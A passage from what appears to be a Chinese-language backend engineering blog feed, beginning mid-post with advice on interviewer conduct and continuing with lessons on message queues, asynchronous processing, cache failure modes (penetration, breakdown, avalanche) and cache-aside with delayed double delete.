<p>不管是線上還是實體，我相信大家都能夠體諒突發狀況的發生，但遲到不解釋或表達歉意，對我來說是一個非常扣分的項目。</p>
<h3>情境</h3>
<p>面試時間已過 10 分鐘，面試官才匆忙上線或進入會議，全程未對遲到原因做出任何說明，也沒有表達歉意，直接開始面試流程。</p>
<h3>問題本質</h3>
<p>這並不只是「時間管理」問題，而是基本職業素養的缺失，以及對候選人時間的不尊重。</p>
<h3>為什麼這是問題</h3>
<p>面試本質上是雙向評估，而非單向篩選。</p>
<p>企業在評估候選人的同時，候選人也在評估企業的文化與工作方式。</p>
<p>在沒有任何說明的情況下遲到，會傳遞出幾個負面訊號：</p>
<ul>
<li><p>對時間缺乏基本尊重</p>
</li>
<li><p>缺乏溝通與責任意識</p>
</li>
<li><p>團隊可能存在流程鬆散或文化不對等的問題</p>
</li>
</ul>
<p>這會讓整場面試從一個「平等的專業對話」，退化成「單方主導的篩選流程」，進而影響候選人對公司的整體判斷。</p>
<h3>更理想的做法</h3>
<p>即使發生不可避免的突發狀況，也應該做到基本的溝通與補償：</p>
<ol>
<li><p>事前或第一時間通知延誤情況</p>
</li>
<li><p>簡要說明原因（不需過度細節）</p>
</li>
<li><p>表達基本的歉意</p>
</li>
<li><p>必要時提供重新安排時間的選項</p>
</li>
</ol>
<p>這些都是低成本但高影響的行為，能有效維持面試過程的專業性與雙方的信任基礎。</p>
<h2>大忌3 - 反向題型</h2>
<p>在過去的面試經驗中，遇到過許多有反向題型的企業，反向題型是個雙面刃，可以協助企業辨識出需符合所需人格特質的人才，但用不好就會變成反感題。</p>
<h3>情境</h3>
<p>面試官在高併發系統設計討論中，未提供足夠背景資訊，不斷重複追問：「如果系統還是撐不住流量呢？」</p>
<p>即使候選人提供了五種以上擴充方案，面試官仍追問，直到候選人反問：「那您希望我針對哪個層級（layer）作回答？」</p>
<p>最後得到的回覆是：「我想看看你會不會說『我不知道』。」</p>
<h3>問題本質</h3>
<p>這是反向題型使用不當的典型案例：</p>
<p>原本目的是評估候選人在不確定情境下的應對能力與思考邏輯，但缺乏明確目標和對齊上下文，反而變成壓力測試。</p>
<h3>為什麼這是問題</h3>
<ul>
<li><p>面試重心從「評估思考能力」偏離，變成單純測試候選人承受壓力的反應</p>
</li>
<li><p>缺乏背景資訊，使候選人難以判斷適當的假設與邊界</p>
</li>
<li><p>易引起負面情緒，降低候選人對公司的認同與信任</p>
</li>
</ul>
<p>這種方式對雙方都沒有價值：企業未必能得到有意義的評估結果，候選人也可能留下負面印象</p>
<h3>更理想的做法</h3>
<p>如果要使用反向題型，應該控制在<strong>明確目標和透明假設</strong>下：</p>
<ol>
<li><p>先說明面試目標：例如「我想了解你在高併發下的思考流程，而不是單純測試答案」</p>
</li>
<li><p>提供必要背景資訊與約束條件</p>
</li>
<li><p>在追問時，保持開放式討論而非強迫候選人「說不知道」</p>
</li>
<li><p>引導候選人展示思考模式、trade-off 評估與假設管理</p>
</li>
</ol>
<p>這樣可以發揮反向題型的正向價值，同時避免讓面試變成單純的心理測試或壓力測試。</p>
]]></content:encoded></item><item><title><![CDATA[Lesson 23: 系統的緩衝區-Queue 佇列與非同步處理 (Asynchronous)]]></title><description><![CDATA[佇列
佇列的實作工具非常多，舉凡AWS SQS、RabbitMQ、Kafka…等。
佇列的特性，其實是一個非常強大的系統緩衝區，應用層面非常廣。
什麼是佇列？


佇列可以想像成，在既有流程中外，有另一個”水管”，來連接原有的資料流(或邏輯過程)，其中 呼叫方將資料 推(Push)到水管中，接受方(監聽) 從水管中將資料拉(Pull)出處理
為什麼佇列是「強大的緩衝區」？
在同步處理中，系統像是一]]></description><link>https://blog.bennett1999.com/lesson-23-queue-asynchronous</link><guid isPermaLink="true">https://blog.bennett1999.com/lesson-23-queue-asynchronous</guid><category><![CDATA[queue]]></category><category><![CDATA[async]]></category><category><![CDATA[asynchronous]]></category><category><![CDATA[backend]]></category><category><![CDATA[software development]]></category><dc:creator><![CDATA[Bennett]]></dc:creator><pubDate>Mon, 23 Mar 2026 06:47:26 GMT</pubDate><content:encoded><![CDATA[<h1>佇列</h1>
<p>佇列的實作工具非常多，舉凡AWS SQS、RabbitMQ、Kafka…等。</p>
<p>佇列的特性，其實是一個非常強大的系統緩衝區，應用層面非常廣。</p>
<h2>什麼是佇列？</h2>
<img src="https://cdn.hashnode.com/uploads/covers/693a6e8cf7ff0b7590781231/747e619f-e921-4531-aa6d-5a992c072c0e.png" alt="" style="display:block;margin:0 auto" />

<p>佇列可以想像成，在既有流程中外，有另一個”水管”，來連接原有的資料流(或邏輯過程)，其中 呼叫方將資料 推(Push)到水管中，接受方(監聽) 從水管中將資料拉(Pull)出處理</p>
<h2>為什麼佇列是「強大的緩衝區」？</h2>
<p>在同步處理中，系統像是一條緊繃的繩子，任何一個節點斷了或慢了，整個流程就會崩潰。而加入佇列後，系統擁有了以下三個關鍵特性：</p>
<h3>削峰填谷(Load Leveling)</h3>
<p>當瞬間流量（例如雙 11 搶購）暴增時，後端資料庫通常無法承受。佇列充當了緩衝墊，讓請求先「排隊」，後端再依據自身的處理能力慢慢消耗，避免伺服器因過載而宕機。</p>
<h3>非同步解耦 (Asynchronous Decoupling)</h3>
<p>呼叫方不需要等待處理結果。以「註冊帳號」為例：</p>
<ul>
<li><p><strong>同步：</strong> 寫入資料庫 → 寄送驗證信 → 傳送歡迎簡訊 → 回傳成功（若簡訊服務掛了，註冊就失敗）。</p>
</li>
<li><p><strong>非同步：</strong> 寫入資料庫 → <strong>丟入 Queue</strong> → 回傳成功。寄信與簡訊由後端 Consumer 慢慢處理。</p>
</li>
</ul>
<h3>容錯與重試機制 (Fault Tolerance)</h3>
<p>如果接收方 在處理時暫時故障，資料依然停留在佇列中。待接收方修復後，可以從上次中斷的地方繼續處理，確保資料不丟失。</p>
<h2>核心算法</h2>
<p>如果講到佇列，不稍微聊一下FIFO，內容就有點空洞了，FIFO是佇列的核心特性，與堆疊（Stack）的 LIFO形成對比。</p>
<h3>FIFO</h3>
<p>FIFO是First In , First Out。白話文就是先進先出，先進到佇列的資料也會優先被調出佇列。</p>
<ul>
<li><p><strong>公平性：</strong> 確保請求按照收到的先後順序處理，不會有後來的請求「插隊」導致先來的請求無窮盡等待（Starvation）。</p>
</li>
<li><p><strong>順序一致性：</strong> 在某些情境（如銀行轉帳、訂單狀態變更），處理順序絕對不能錯亂。例如「扣款」必須發生在「出貨」之前。</p>
</li>
</ul>
<h2>佇列的變體與進階演算法</h2>
<p>在實務的後端開發中，單純的 FIFO 有時不足以應付複雜需求，因此衍生出以下幾種常見模式：</p>
<h3>1. 優先權佇列 (Priority Queue)</h3>
<p>並非所有資料都一視同仁。例如：</p>
<ul>
<li><p><strong>高等級：</strong> 處理使用者的付款請求（需立即處理）。</p>
</li>
<li><p><strong>低等級：</strong> 處理每週報表的發送（可以稍後再做）。 這時演算法會根據資料的 <strong>Priority Tag</strong> 重新排序，讓高等級的資料「合法插隊」。</p>
</li>
</ul>
<h3>2. 環形佇列 (Circular Queue)</h3>
<p>在記憶體有限的情境下（例如嵌入式系統或高效能 Buffer），當指標到達陣列末端時，會繞回開頭重新利用空間。這避免了頻繁搬移資料的效能損耗。</p>
<h3>3. 延遲佇列 (Delay Queue)</h3>
<p>資料推入後，並不會立刻被 Consumer 拉走，而是設定一個「冷卻時間」。</p>
<ul>
<li><strong>應用場景：</strong> 訂單成立後 30 分鐘若未付款，自動取消訂單。</li>
</ul>
<h2>補充說明：分散式系統中如何保證順序性</h2>
<p>在分散式系統中，「順序性」是一個極大的挑戰。因為分散式架構的核心是「並行」，而順序要求的則是「串行」。這兩者本質上是衝突的。</p>
<p>要保證順序，通常需要從 生產端、存儲端、消費端 三個環節同時下手：</p>
<h3>1. 生產端：分組標記</h3>
<p>在海量資料下，我們不可能要求「全球順序」，那會造成嚴重的效能瓶頸。實務上，我們保證的是「局部順序」。</p>
<ul>
<li><p><strong>機制：</strong> 給予每條訊息一個 <code>MessageKey</code>（例如 <code>order_id</code> 或 <code>user_id</code>）。</p>
</li>
<li><p><strong>演算法：</strong> 使用一致性雜湊（Consistent Hashing）確保擁有相同 Key 的訊息，永遠會進入同一個 <strong>Partition</strong> 或 <strong>Shard</strong>。</p>
</li>
<li><p><strong>結果：</strong> 雖然訂單 A 和訂單 B 之間沒有順序關係，但「訂單 A 的建立」與「訂單 A 的付款」會排在同一條水管裡。</p>
</li>
</ul>
<h3>2. 存儲端：強順序佇列（FIFO Queue）</h3>
<p>一般的雲端佇列（如 AWS SQS Standard）為了效能，通常只保證「盡力交付（Best-effort ordering）」。若要嚴格順序，必須選用 <strong>FIFO 類型</strong> 的工具：</p>
<ul>
<li><p><strong>AWS SQS FIFO：</strong> 透過 <code>Message Group ID</code> 確保同組訊息嚴格先進先出，並提供 <code>Deduplication ID</code> 防止重覆發送。</p>
</li>
<li><p><strong>Kafka：</strong> 內建保證單一 Partition 內的訊息是絕對有序的。</p>
</li>
</ul>
<h3>3. 消費端：單一消費者模式</h3>
<p>這是最容易出錯的地方。即便佇列是有序的，如果後端開了 <strong>10 個 Worker</strong>同時拉資料，順序就會亂掉：</p>
<ul>
<li><p>訊息 1：進入 Worker A（處理慢，需 5 秒）。</p>
</li>
<li><p>訊息 2：進入 Worker B（處理快，需 1 秒）。</p>
</li>
<li><p><strong>結果：</strong> 訊息 2 會比訊息 1 先完成，破壞了邏輯順序。</p>
</li>
</ul>
<p><strong>解決方案：</strong></p>
<ul>
<li><p><strong>分區消費：</strong> 確保一個 Partition 同一時間只能被一個 Consumer 讀取（Kafka 的預設行為）。</p>
</li>
<li><p><strong>樂觀鎖（Optimistic Locking）：</strong> 在資料庫增加 <code>version</code> 欄位。即便訊息 2 先到，它發現版本號不對，會拒絕寫入並要求重試。</p>
</li>
</ul>
<h3>4. 終極殺手鐧：時序標記</h3>
<p>如果系統非常複雜，無法依賴中間件的順序，我們會在訊息內核嵌入「邏輯時鐘」：</p>
<ul>
<li><p><strong>雪花演算法 (Snowflake ID)：</strong> 生成帶有時間戳且遞增的唯一 ID。</p>
</li>
<li><p><strong>狀態檢查：</strong> 消費端維護一個 <code>last_sequence_id</code>。如果收到的 ID 是 5，但上次處理的是 3，表示訊息 4 掉包或延遲了，此時 Consumer 應將 5 暫存或報錯，直到 4 出現。</p>
</li>
</ul>
<h3>總結：代價與權衡</h3>
<p>保證順序性是有代價的：</p>
<ol>
<li><p><strong>效能下降：</strong> 無法充分利用多核並行處理，吞吐量會受限於單一 Partition 的處理能力。</p>
</li>
<li><p><strong>可用性風險：</strong> 如果某條訊息處理卡住（Poison Pill），後面所有的有序訊息都會被堵死。</p>
</li>
</ol>
<blockquote>
<p>理解「什麼時候不需要保證順序」跟「如何保證順序」一樣重要。盡可能讓業務邏輯具備 冪等性（Idempotency），才是減輕順序依賴的最佳解。</p>
</blockquote>
<h1>非同步處理</h1>
<p>探討 非同步 時，最核心的觀念轉變是：「從 等待結果 變成 訂閱通知」。</p>
<h2>同步 vs. 非同步</h2>
<h3>同步處理 (Synchronous) — 點餐</h3>
<p>走道7-11點了一杯大冰拿，點完後就站在櫃檯前死守，直到咖啡拿在手上，才離開去滑手機。</p>
<ul>
<li><strong>問題：</strong> 如果咖啡機壞了（I/O 阻塞），後面的排隊人群（其他 Request）全都會被卡死。</li>
</ul>
<h3>非同步處理 (Asynchronous) — 呼叫器點餐</h3>
<p>點完咖啡後，店員給你一個<strong>呼叫器</strong>。可以先回位子坐下處理公事、回 Email（繼續執行其他任務）。當呼叫器響了（Event Triggered），你再去取餐。</p>
<ul>
<li><strong>優點：</strong> 櫃檯（CPU/Thread）可以立刻處理下一個人的點餐，系統吞吐量極大化。</li>
</ul>
<h2>非同步處理的關鍵元件</h2>
<p>要實作非同步，系統通常需要以下三個部分協作：</p>
<h3>呼叫方 (Caller)</h3>
<p>發起請求後不再等待，而是立即返回執行下一行程式碼。</p>
<h3>回呼機制 (Callback / Promise / Future)</h3>
<p>當任務完成時，系統如何通知你？</p>
<ul>
<li><p><strong>Callback：</strong> 「做完後請執行這個 function」。</p>
</li>
<li><p><strong>Promise / Async-Await：</strong> 「這是一個承諾，未來我會把結果填進去」。</p>
</li>
</ul>
<h3>事件迴圈 (Event Loop)</h3>
<p>這是非同步的心臟（常見於 Node.js 或 Go）。它不斷檢查「任務完成了嗎？」如果完成了，就把對應的回呼函式丟回主執行緒執行。</p>
<h2>非同步 與 佇列 的結合</h2>
<p>非同步處理通常依賴 <strong>Queue</strong> 來實現系統間的解耦：</p>
<ol>
<li><p><strong>提交任務：</strong> API 收到請求，把繁重的任務（如：生成 PDF、發送萬封郵件）丟進 Queue。</p>
</li>
<li><p><strong>立刻回應：</strong> API 告訴使用者「已收到請求，處理中」，耗時僅需 10ms。</p>
</li>
<li><p><strong>非同步消耗：</strong> 後端有一個 Worker 默默地從 Queue 拿任務出來跑。</p>
</li>
<li><p><strong>通知結果：</strong> 跑完後透過 WebSocket 或 Webhook 通知前端。</p>
</li>
</ol>
<h2><strong>進階思考：非同步的代價</strong></h2>
<p><strong>雖然非同步很強大，但身為 工程師，我們必須考慮以下挑戰：</strong></p>
<ul>
<li><p><strong>Race Condition： 當兩個非同步任務同時修改同一個資料庫欄位，誰才是對的？</strong></p>
</li>
<li><p><strong>Error Handling： 非同步錯誤很難追蹤（Stack Trace 通常會斷掉）。如果背景任務失敗了，使用者怎麼知道？</strong></p>
</li>
<li><p><strong>複雜度： 程式碼不再是從上到下執行，除錯與邏輯串接變得困難。</strong></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Lesson 22: 快取災難預防：快取穿透 、擊穿與雪崩]]></title><description><![CDATA[我們在上一篇文章中介紹了基本的Cache Aside Pattern，也補充了在Database 主從分離架構下可能造成Cache的異常，並一同介紹了：延遲雙刪 以及 CDC。
我們這個章節要來談談Cache還有哪些問題
快取穿透 (Cache Penetration)
定義
請求的資料 不在快取中，也不在資料庫中。 每次請求都會穿過快取，直接打到 DB，但 DB 也查不到資料，導致無法回寫快取。如果有惡意攻擊者使用大量不存在的 ID 進行攻擊，DB 會瞬間承受巨大壓力。
常見場景

惡意攻擊：...]]></description><link>https://blog.bennett1999.com/cache-issue</link><guid isPermaLink="true">https://blog.bennett1999.com/cache-issue</guid><category><![CDATA[Cache Penetration]]></category><category><![CDATA[Cache Breakdown]]></category><category><![CDATA[Cache Avalanche]]></category><category><![CDATA[從Rookie到Junior，一個後端成長的30堂課 ]]></category><category><![CDATA[cache]]></category><category><![CDATA[software development]]></category><category><![CDATA[backend]]></category><dc:creator><![CDATA[Bennett]]></dc:creator><pubDate>Fri, 16 Jan 2026 10:40:01 GMT</pubDate><content:encoded><![CDATA[<p>我們在上一篇文章中介紹了基本的Cache Aside Pattern，也補充了在Database 主從分離架構下可能造成Cache的異常，並一同介紹了：延遲雙刪 以及 CDC。</p>
<p>我們這個章節要來談談Cache還有哪些問題</p>
<h1 id="heading-cache-penetration">快取穿透 (Cache Penetration)</h1>
<h2 id="heading-5a6a576p">定義</h2>
<p>請求的資料 <strong>不在快取中，也不在資料庫中</strong>。 每次請求都會穿過快取，直接打到 DB，但 DB 也查不到資料，導致無法回寫快取。如果有惡意攻擊者使用大量不存在的 ID 進行攻擊，DB 會瞬間承受巨大壓力。</p>
<h2 id="heading-5bi46kal5ac05pmv">常見場景</h2>
<ul>
<li><p>惡意攻擊：使用 <code>id = -1</code> 或隨機生成的 UUID 發起大量請求。</p>
</li>
<li><p>程式邏輯錯誤：前端送出了後端根本沒有的資料查詢。</p>
</li>
</ul>
<h2 id="heading-kirop6pmsbrmlrnmoygqkg"><strong>解決方案</strong></h2>
<ol>
<li><p><strong>快取空物件 (Cache Null Value)：</strong></p>
<ul>
<li><p>當 DB 查不到資料時，仍在 Redis 中紀錄該 Key，但值設為 <code>null</code> 或特定標記，並設定一個較短的過期時間 (例如 30 秒)。</p>
</li>
<li><p>優點： 實作簡單。</p>
</li>
<li><p>缺點： 會浪費 Redis 空間存垃圾資料；且在過期前可能會有資料不一致問題 (若該資料突然被新增了)。</p>
</li>
</ul>
</li>
<li><p><strong>布隆過濾器 (Bloom Filter)：</strong></p>
<ul>
<li><p>在請求進入快取之前，先透過 Bloom Filter 判斷該 Key 是否「可能存在」。如果 Bloom Filter 說不存在，則直接攔截，不查 Redis 也不查 DB。</p>
</li>
<li><p>優點： 記憶體佔用極少，效率極高，適合超大數據集。</p>
</li>
<li><p>缺點： 實作複雜，存在極低機率的誤判 (False Positive)，且刪除資料困難。</p>
</li>
</ul>
</li>
<li><p><strong>嚴格的參數校驗：</strong></p>
<ul>
<li>在 Controller 層就攔截不合法的參數 (如 ID &lt; 0)。</li>
</ul>
</li>
</ol>
<h2 id="heading-6koc5ywf6kqq5pioic0g5bid6zqg6ygo5r5zmo">補充說明 - 布隆過濾器</h2>
<p>Bloom Filter 是一種 <strong>「機率型資料結構」</strong>。</p>
<p>它的核心價值在於：用極小的記憶體空間，快速判斷一個元素「絕對不存在」或「可能存在」。</p>
<h3 id="heading-bitmap-multiple-hashing"><strong>核心原理：BitMap + 多重雜湊 (Multiple Hashing)</strong></h3>
<p>有一個長度為 m 的位元陣列 ，初始值全為 0。 當要儲存一個資料（例如 user_id: 1001）時：</p>
<ol>
<li><p>使用 k 個不同的雜湊函數 對該資料進行運算。</p>
</li>
<li><p>算出 k 個位置索引 (Index)。</p>
</li>
<li><p>將 Bit Array 中這 k 個位置的值都設為 <code>1</code>。</p>
</li>
</ol>
<h3 id="heading-5pl6kmi5rwb56il">查詢流程</h3>
<p>當一個請求來查詢 user_id: 9999：</p>
<ol>
<li><p>用K個雜湊函數運算。</p>
</li>
<li><p>檢查這 k 個位置的 Bit 是否全為 <code>1</code>。</p>
<ol>
<li><p>情況 A： 只要有 任何一個 位置是 0 →代表該資料 絕對不存在 (直接攔截，不查 DB)。</p>
</li>
<li><p>情況 B： 所有位置都是 1 → 代表該資料 可能存在 (放行，去查 Cache/DB)。</p>
</li>
</ol>
</li>
</ol>
<h3 id="heading-kirngrrku4dpurzmnipmninoqqtliktvvj8qkg"><strong>為什麼會有誤判？</strong></h3>
<p>這就是「雜湊碰撞 (Hash Collision)」的代價。 假設 Key A 把位置 1, 5, 7 設為 1。 假設 Key B 把位置 2, 5, 8 設為 1。 現在來了一個不存在的 Key C，它的雜湊結果剛好是 1, 2, 8。 系統一查，發現 1, 2, 8 全部都是 1（由 A 和 B 湊出來的），於是 Bloom Filter 誤以為 Key C 存在。</p>
<blockquote>
<p>誤判率與 陣列長度 (m) 和 雜湊函數數量 (k) 有關。陣列越長，誤判越低；k 越多，誤判越低（但也越慢）。</p>
</blockquote>
<p>無法刪除： 標準的 Bloom Filter 不支援刪除。因為你不知道把某個位置的 <code>1</code> 改回 <code>0</code> 時，會不會誤傷到其他也共用該位置的 Key。</p>
<p>進階解法： 若需刪除，需使用 Counting Bloom Filter (每個位置不存 Bit，改存 Counter)，但空間成本會暴增。</p>
<h3 id="heading-kirlr6bli5npgbjmk4cqkg"><strong>實務選擇</strong></h3>
<p>在開發中，我們通常不需手寫 BitMap，而是使用現成的 Redis Module (RedisBloom) <strong>RedisBloom -</strong> Redis 官方模組，指令如 <code>BF.ADD</code>, <code>BF.EXISTS</code>，效能極佳。</p>
<h1 id="heading-cache-breakdown">快取擊穿 (Cache Breakdown)</h1>
<h2 id="heading-5a6a576p-1">定義</h2>
<p>針對 「單一個」 非常熱門的 Key (Hot Key)，在這個 Key 過期的瞬間，同時有大量的併發請求進來。 因為快取剛好失效，所有請求瞬間打到 DataBase，就像在盾牌上鑿了一個洞。</p>
<h2 id="heading-5bi46kal5ac05pmv-1">常見場景</h2>
<ul>
<li><p>電商秒殺活動的商品頁。</p>
</li>
<li><p>熱門新聞或話題的 API。</p>
</li>
</ul>
<h2 id="heading-6kej5rg65pa55qgi">解決方案</h2>
<ol>
<li><p>互斥鎖 (Mutex Lock / Distributed Lock)：</p>
<ul>
<li><p>當發現 Cache 失效時，不是所有執行緒都去查 DB。而是使用 <code>SETNX</code> (Redis) 搶鎖。</p>
</li>
<li><p>搶到鎖的人去查 DB 並回寫 Cache，其他人在旁邊等待並重試讀取 Cache。</p>
</li>
<li><p><em>優點：</em> 保證資料一致性，DB 壓力最小。</p>
</li>
<li><p><em>缺點：</em> 程式碼複雜度增加，可能會稍微降低吞吐量。</p>
</li>
</ul>
</li>
<li><p>邏輯過期 (Logical Expiry / Soft TTL)：</p>
<ul>
<li><p>Redis Key 設定為「永不過期」，但在 Value 內部包含一個邏輯上的「過期時間欄位」。</p>
</li>
<li><p>取出資料時，若發現邏輯時間已過期，則開啟一個「非同步執行緒」去背景更新資料，當下先回傳舊資料給使用者。</p>
</li>
<li><p><em>優點：</em> 使用者體驗好，幾乎無延遲。</p>
</li>
<li><p><em>缺點：</em> 需要額外的記憶體存時間戳；在更新完成前，使用者會看到短暫的舊資料。</p>
</li>
</ul>
</li>
</ol>
<h2 id="heading-6koc5ywf6kqq5pioic0g5lqs5pal6y6w">補充說明 - 互斥鎖</h2>
<p>當快取失效，只允許一個 Thread 去重建快取，其他 Thread 等待。</p>
<p>這看似簡單，但實作上有兩個經典的「坑」 - 死鎖 (Deadlock) 與 誤刪鎖。</p>
<h3 id="heading-5rwb56il6kit6kii">流程設計</h3>
<p>我們通常使用 Redis 的 <code>SETNX</code> (Set if Not Exists) 來實作分散式鎖。</p>
<ol>
<li><p>查詢 Cache： 沒資料 (Miss)。</p>
</li>
<li><p>爭奪鎖： 嘗試 <code>SET lock_key unique_id NX PX 10000</code> (設定 10 秒過期)。</p>
<ol>
<li><p>成功 (Got Lock)： 查詢 DB → 寫入 Cache → 釋放鎖 (DEL)。</p>
</li>
<li><p>失敗 (Lock Busy)： 休眠 50ms(舉例) → 重試 (Retry)。</p>
</li>
</ol>
</li>
</ol>
<h3 id="heading-6zec6y2157sw56a">關鍵細節</h3>
<ol>
<li><p>雙重檢查鎖：</p>
<p> 當等待的 Thread 搶到鎖時，不要直接查 DB。因為在它等待的期間，前一個持有鎖的人可能已經把資料寫進 Cache 了。正確邏輯： 搶到鎖 → 再查一次 Cache → 若有資料直接回傳；若無資料才查 DB</p>
</li>
<li><p>鎖的原子性與過期：</p>
<ul>
<li><p>錯誤寫法： 先 <code>SETNX</code> 再 <code>EXPIRE</code>。如果程式在 <code>SETNX</code> 後當機，<code>EXPIRE</code> 沒執行，這個鎖就變成「永不過期」，造成死鎖。</p>
</li>
<li><p>正確寫法： 使用 Redis 的原子指令 <code>SET key value NX PX milliseconds</code> 一步到位。</p>
</li>
</ul>
</li>
<li><p>誰加鎖，誰解鎖：</p>
<ul>
<li><p>場景： Thread A 搶到鎖，但 DB 查詢太慢，過了 10 秒鎖自動過期了。Thread B 此時搶到鎖開始執行。突然，Thread A 做完了，執行 <code>DEL</code>。結果 A 刪掉了 B 的鎖！</p>
</li>
<li><p>解法： <code>SET</code> 的 value 必須是一個 UUID (Request ID)。解鎖時，先檢查 Value 是否等於自己的 UUID，若是才執行 <code>DEL</code>。這通常需要用 Lua Script 來保證「檢查 + 刪除」的原子性。</p>
</li>
</ul>
</li>
</ol>
<h1 id="heading-cache-avalanche">快取雪崩 (Cache Avalanche)</h1>
<h2 id="heading-5a6a576p-2">定義</h2>
<p>雪崩是指 「大量」 的 Key 在 同一時間集體過期，或者 Redis 節點當機。 這會導致原本由 Redis 承擔的海量請求，瞬間全部轉移到 DB，造成 DB CPU 飆升並當機。</p>
<h2 id="heading-5bi46kal5ac05pmv-2">常見場景</h2>
<ul>
<li><p>系統剛重啟，預熱了大量資料，並設定了相同的過期時間 (例如都是 1 小時)。</p>
</li>
<li><p>Redis Master 節點掛掉。</p>
</li>
</ul>
<h2 id="heading-6kej5rg65pa55qgi-1">解決方案</h2>
<ol>
<li><p>隨機過期時間 (Random TTL)：</p>
<ul>
<li>在設定過期時間時，不要設為固定值。例如：原定 60 分鐘過期，改成 <code>60 分鐘 + 隨機 0~5 分鐘</code>。讓失效時間分散開來。</li>
</ul>
</li>
<li><p>高可用架構 (High Availability)：</p>
<ul>
<li>使用 Redis Sentinel 或 Redis Cluster。當主節點掛掉時，從節點能自動接手，避免全盤崩潰。</li>
</ul>
</li>
<li><p>限流與降級 (Rate Limiting &amp; Circuit Breaker)：</p>
<ul>
<li>當偵測到 Redis 或 DB 壓力過大時，啟動斷路器 (如 Hystrix)，直接拒絕部分請求或回傳預設值，保全系統核心功能。</li>
</ul>
</li>
<li><p>多級快取 (Multi-Level Cache)：</p>
<ul>
<li>在 Nginx 或應用程式記憶體 (Local Cache, 如 Guava/Caffeine) 增加一層快取。即使 Redis 掛了，本地快取還能擋一陣子。</li>
</ul>
</li>
</ol>
<h1 id="heading-5pw055cg">整理</h1>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>問題</strong></td><td><strong>關鍵點</strong></td><td><strong>發生原因</strong></td><td><strong>核心解法</strong></td></tr>
</thead>
<tbody>
<tr>
<td><strong>穿透 (Penetration)</strong></td><td><strong>查無此人</strong></td><td>資料在 Cache 和 DB 都不存在</td><td>Bloom Filter、快取空物件 (Null)</td></tr>
<tr>
<td><strong>擊穿 (Breakdown)</strong></td><td><strong>單點突破</strong></td><td>單一熱點 Key 過期</td><td>互斥鎖 (Mutex)、邏輯過期</td></tr>
<tr>
<td><strong>雪崩 (Avalanche)</strong></td><td><strong>全面崩盤</strong></td><td>大量 Key 同時過期 或 Redis 當機</td><td>隨機 TTL、Redis Cluster、限流降級</td></tr>
</tbody>
</table>
</div>]]></content:encoded></item><item><title><![CDATA[Lesson 21: 空間換取時間-Cache 的快取策略 (Cache-Aside / Delayed Double Delete)]]></title><description><![CDATA[在後端開發的世界裡，有一句至理名言：「沒有什麼效能問題是加一層 Cache 不能解決的；如果有，那就加兩層。」
雖然是句玩笑話，但道出了後端架構的核心思想——「以空間換取時間」。資料庫（Database）存放在硬碟，讀取速度慢且 I/O 成本高；而快取（Cache, 如 Redis）存放在記憶體（RAM），讀取速度極快但空間昂貴。
什麼是 Cache-Aside Pattern？
Cache 不會主動和 Database 溝通，所有的數據流動都由應用程式的程式碼來控制。
這就像去圖書館借書：

...]]></description><link>https://blog.bennett1999.com/cache</link><guid isPermaLink="true">https://blog.bennett1999.com/cache</guid><category><![CDATA[delayed double delete]]></category><category><![CDATA[cache]]></category><category><![CDATA[Redis]]></category><category><![CDATA[cache-aside]]></category><category><![CDATA[從Rookie到Junior，一個後端成長的30堂課 ]]></category><dc:creator><![CDATA[Bennett]]></dc:creator><pubDate>Tue, 06 Jan 2026 03:26:51 GMT</pubDate><content:encoded><![CDATA[<p>在後端開發的世界裡，有一句至理名言：「沒有什麼效能問題是加一層 Cache 不能解決的；如果有，那就加兩層。」</p>
<p>雖然是句玩笑話，但道出了後端架構的核心思想——「以空間換取時間」。資料庫（Database）存放在硬碟，讀取速度慢且 I/O 成本高；而快取（Cache, 如 Redis）存放在記憶體（RAM），讀取速度極快但空間昂貴。</p>
<h2 id="heading-cache-aside-pattern">什麼是 Cache-Aside Pattern？</h2>
<p>Cache 不會主動和 Database 溝通，所有的數據流動都由應用程式的程式碼來控制。</p>
<p>這就像去圖書館借書：</p>
<ol>
<li><p>先看架上（Cache）有沒有這本書。</p>
</li>
<li><p>如果有，直接拿走（Read Hit）。</p>
</li>
<li><p>如果沒有，去倉庫（Database）把書找出來，讀完後順手放一本在架上（寫Cache），方便下一個人拿。</p>
</li>
</ol>
<h2 id="heading-6ygl5l2c5rwb56il">運作流程</h2>
<p>要實作 Cache-Aside，需要處理「讀取」與「寫入/更新」兩個面向。</p>
<h3 id="heading-1-read-path">1. 讀取路徑 (Read Path)</h3>
<p>這是最常見的流程，目的在於減少 Database 的讀取壓力。</p>
<ol>
<li><p>應用程式接收到請求，先查詢 Cache。</p>
</li>
<li><p>Hit (命中)：如果 Cache 中有資料，直接回傳給使用者。</p>
</li>
<li><p>Miss (未命中)：如果 Cache 中沒有資料：</p>
<ul>
<li><p>從 <strong>Database</strong> 讀取原始資料。</p>
</li>
<li><p>將這筆資料寫入 <strong>Cache</strong>（通常會設定過期時間 TTL）。</p>
</li>
<li><p>回傳資料給使用者。</p>
</li>
</ul>
</li>
</ol>
<h3 id="heading-2-write-path">2. 寫入路徑 (Write Path) - 關鍵在於「刪除」</h3>
<p>當資料發生變動（新增、修改、刪除）時，我們該怎麼處理 Cache？這也是保持資料最終一致性的關鍵戰場。</p>
<p>Cache Aside Pattern 的正確流程：</p>
<ol>
<li><p>先更新 Database。</p>
</li>
<li><p>刪除 (Delete/Invalidate) Cache 中的對應資料。</p>
</li>
</ol>
<h2 id="heading-delayed-double-delete">進階挑戰：延遲雙刪 (Delayed Double Delete)</h2>
<p>雖然「先更 DB，再刪 Cache」已經能解決 99% 的問題，但在極端的資料庫讀寫分離架構下，仍可能有問題：</p>
<p><strong>問題場景：</strong></p>
<ol>
<li><p>應用程式更新 Master DB。</p>
</li>
<li><p>應用程式刪除 Cache。</p>
</li>
<li><p>（此時 DB 主從同步尚未完成，Slave DB 仍是舊資料）。</p>
</li>
<li><p>另一個讀取請求進來，Cache Miss，於是去讀 Slave DB（讀到舊資料）。</p>
</li>
<li><p>讀取請求把舊資料寫回 Cache。</p>
</li>
<li><p><strong>結果</strong>：Cache 裡又變成了髒資料。</p>
</li>
</ol>
<p><strong>解決方案：延遲雙刪</strong> 為了確保萬無一失，我們可以採用延遲雙刪策略：</p>
<ol>
<li><p>先刪除 Cache。</p>
</li>
<li><p>更新 Database。</p>
</li>
<li><p><strong>休眠一小段時間</strong>：這個時間 T 需要大於「DB 主從同步」的時間，</p>
</li>
<li><p><strong>再次刪除 Cache</strong>。</p>
</li>
</ol>
<p>這樣做可以確保在 DB 同步完成後，任何可能被寫入 Cache 的髒資料都會被再次清除。</p>
